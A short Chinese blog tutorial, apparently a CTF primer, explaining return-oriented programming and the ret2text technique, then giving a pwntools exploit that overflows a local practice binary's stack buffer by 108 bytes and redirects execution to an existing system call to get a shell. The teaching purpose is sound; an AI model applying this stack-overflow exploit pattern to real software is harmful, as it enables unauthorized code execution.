一.基本rop_ret2text

2019-05-03  本文已影响0人  Zero_0_0

1.随着NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。
2.目前主要的是ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
3.所谓 gadgets 就是以ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

注:ret2text说的就是在程序中利用代码的地址(给你了system),来进行shell
小白入门可以gdb直接泄露溢出大小(溢出大小+ebp(4)+system_addr
高手可以利用gdb动态调试查看一下,在ida里面我们申请的是

int v4; // [sp+1Ch] [bp-64h]@1   #100

可是在我们调试的时候溢出大小其实是108

EXP
from pwn import*

p = process('./ret2text')

system_addr = 0x804863A
payload = 'A'*108
payload += p32(0)
payload += p32(system_addr)

p.sendline(payload)
p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读